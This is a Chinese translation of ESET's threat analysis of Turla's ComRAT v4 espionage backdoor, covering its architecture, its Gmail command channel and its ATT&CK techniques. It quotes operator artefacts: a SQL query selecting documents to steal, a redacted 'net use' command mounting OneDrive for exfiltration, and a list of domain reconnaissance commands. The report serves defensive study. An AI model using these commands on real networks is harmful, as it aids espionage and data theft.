原文鏈接:From Agent.BTZ to ComRAT v4: A ten?year journey
翻譯:知道創宇404實驗室翻譯組

ESET研究人員近期發現了由Turla組織ComRAT經營的惡意軟件的新版本。Turla,也被稱為Snake,是一個臭名昭著的間諜組織,已經活躍了十多年,之前也介紹過許多該組織的活動

ComRAT,也稱為Agent.BTZ,是一種用于遠程訪問特洛伊木馬(RAT),該木馬在2008年因違反美國軍方使用規則聲名狼藉。該惡意軟件的第一版(約在2007年發布)通過傳播可移動驅動器來展現蠕蟲功能。從2007年到2012年,已經發布了RAT的兩個主要版本。有趣的是,它們都使用了著名的Turla XOR密鑰:

1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s

2017年,Turla開發人員對ComRAT進行了一些更改,但這些變體仍然是從相同的代碼庫中派生出來的,相關研究報告請見https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf。此外還發布了不同的ComRAT版本。這個新版本使用了全新的代碼庫,相比之前的版本會復雜很多。以下是該惡意軟件的幾個特征:

  • ComRAT v4于2017年首次亮相,直到2020年1月仍在使用。
  • 其至少確定了三個攻擊目標:兩個外交部和一個國民議會。
  • ComRAT用于竊取敏感文檔,運營商使用OneDrive和4shared等云服務來竊取數據。
  • ComRAT是用C ++開發的復雜后門程序。
  • ComRAT使用FAT16格式化的虛擬FAT16文件系統。
  • 其使用現有的訪問方法(例如PowerStalli on PowerShell后門)部署ComRAT。
  • ComRAT具有兩個命令和控制通道:
    1.HTTP:它使用與ComRAT v3完全相同的協議;
    2.電子郵件:它使用Gmail網絡界面接收命令并竊取數據。
  • ComRAT可以在受到感染的計算機上執行如泄露其他程序或文件的操作。

關于Turla

根據相關的受害者和TTPs,我們相信Turla僅使用ComRAT,以下是相關的幾大表現:

  • 它使用與先前版本相同的內部名稱Chinch
  • 它通過HTTP使用與ComRAT v3相同的自定義C&C協議
  • 網絡基礎結構的一部分與另一個Turla惡意軟件Mosquito共享
  • 以下部分已被Turla 惡意軟件刪除
    1.定制的PowerShell加載器
    2.PowerStallion后門
    3.RPC后門

攻擊者的相關活動

在我們的調查過程中,可以了解Turla操作員在受感染機器上所執行的命令,ComRAT主要用于竊取機密文件。在某種情況下,其運營商部署了.NET可執行文件來與受害人所包含組織文檔的中央MS SQL Server數據庫進行交互。下面是已編輯的SQL命令:

sqlCommand.CommandText = "select top " + num2.ToString() + " filename, img, datalength(img), id from <Redacted> with(nolock) where not img is null and id>" + num4.ToString();sqlCommand.CommandText += " and datalength(img)<1500000 and (filename like '%.doc' or filename like '%.docx' or filename like '[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]%.pdf' or (filename like '3%.pdf' and len(filename)>9))";sqlCommand.CommandText += " order by id"; |

然后將這些文檔壓縮并傳輸到云存儲提供商(如:OneDrive或4shared)。使用net use命令安裝云存儲,如下所示:

 tracert -h 10 yahoo.comnet use https://docs.live.net/E65<redacted> <redacted password> /u:<redacted>@aol.co.uktracert -h 10 yahoo.com |

除了竊取文檔外,操作員還運行許多命令來收集有關Active Directory組或用戶對網絡的信息進行配置。以下是由Turla操作員執行的命令列表。

gpresult /z

gpresult /v

gpresult

net view

net view /domain

netstat

netstat -nab

netstat -nao

nslookup 127.0.0.1

ipconfig /all

arp -a

net share

net use

systeminfo

net user

net user administrator

net user /domain

net group

net group /domain

net localgroup

net localgroup

net localgroup Administrators

net group "Domain Computers" /domain

net group "Domain Admins" /domain

net group "Domain Controllers" /domain

dir "%programfiles%"

net group "Exchange Servers" /domain

net accounts

net accounts /domain

net view 127.0.0.1 /all

net session

route print

ipconfig /displaydns

最后,我們還注意到Turla運營商進行了逃避安全軟件檢測的相關操作。如:定期抽取與安全性相關的日志文件,來了解是否已檢測到其惡意軟件樣本。這表明相關人員的復雜及其潛在的意圖。

技術分析

根據其編譯時間戳可以看到ComRAT v4的第一個示例已于2017年4月進行了編譯,與之相關的后門在2019年11月進行了編譯。

基于ESET遙測,我們認為ComRAT是通過現有立足點(例如,受感染的憑據)或另一個Turla后門進行安裝的。如:根據2019年描述的基于PowerShell的后門程序可以看到PowerStallion安裝了ComRAT 。

ComRAT安裝程序是一個PowerShell腳本,可創建Windows計劃的任務并用加密的有效負載填充注冊表值。

ComRAT v4具有以下幾個組件:

  • 編排到explorer.exe中的協調器。它控制大多數ComRAT功能,包括后門命令的執行。
  • 通信模塊(DLL)由協調器注入到默認瀏覽器中。它使用類似的命名來協調器通信。
  • 一個虛擬FAT16文件系統,其中包含配置和日志文件。

下圖是ComRAT架構的概述。

ComRAT v4具有兩個不同的C&C通道:HTTP和使用Gmail Web界面的電子郵件。

在后一種模式下,使用配置中存儲的cookie,它會連接到Gmail網絡界面,以檢查收件箱并下載包含加密命令的特定郵件附件。這些命令由惡意軟件操作員從另一個地址發送,該地址通常托管在其他免費電子郵件提供商(例如GMX)上。

所有組件的詳細技術分析可見白皮書

結論

ComRAT v4是于2017年發布的經過全面改造的惡意軟件系列。其開發人員從Snake等其他Turla后門獲得靈感,以構建非常復雜的惡意軟件,有趣的是使用Gmail網絡用戶界面來接收命令和提取數據。因此,它可以繞過某些安全控制,不需要依賴于任何惡意的域。我們還注意到,此版本放棄了之前持久性使用COM對象,轉而使該惡意軟件具有了通用名稱。

目前仍有跡象顯示ComRAT v4仍在使用,這表明Turla小組仍然非常活躍,其已經對外交官和軍隊構成了重大威脅。更多信息可在完整的白皮書GitHub存儲庫中查看。

MITRE ATT&CK 技術

Tactic Id Name Description
Execution T1086 PowerShell A PowerShell script is used to install ComRAT.
Persistence T1053 Scheduled Task ComRAT uses a scheduled task to launch its PowerShell loader.
Defense Evasion T1027 Obfuscated Files or Information The ComRAT orchestrator is stored encrypted and only decrypted at execution.
T1055 Process Injection The ComRAT orchestrator is injected into explorer.exe . The communication DLL is injected into the default browser.
T1112 Modify Registry The ComRAT orchestrator is stored encrypted in the Registry.
Discovery T1016 System Network Configuration Discovery Operators execute ipconfig and nbstat .
T1033 System Owner/User Discovery Operators execute net user .
T1069 Permission Groups Discovery Operators execute net group /domain .
T1082 System Information Discovery Operators execute systeminfo .
T1083 File and Directory Discovery Operators list the content of several directories. Example: dir /og-d "%userprofile%\AppData\Roaming\Microsoft\Windows\Recent*.*" .
T1087 Account Discovery Operators execute net user and net group .
T1120 Peripheral Device Discovery Operators execute fsutil fsinfo drives to list the connected drives.
T1135 Network Share Discovery Operators execute net view .
Collection T1213 Data from Information Repositories The Operators use a custom tool to exfiltrate documents from an internal central database.
Command and Control T1024 Custom Cryptographic Protocol ComRAT uses RSA and AES to encrypt C&C data.
T1043 Commonly Used Port ComRAT uses ports 80 and 443.
T1071 Standard Application Layer Protocol ComRAT uses HTTP and HTTPS.
T1102 Web Service ComRAT can be controlled via the Gmail web UI.
Exfiltration T1002 Data Compressed The documents are compressed in a RAR archive.
T1022 Data Encrypted The RAR archive is encrypted with a password.
T1048 Exfiltration Over Alternative Protocol Data is exfiltrated to cloud storage, mounted locally using the net usecommand.

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1222/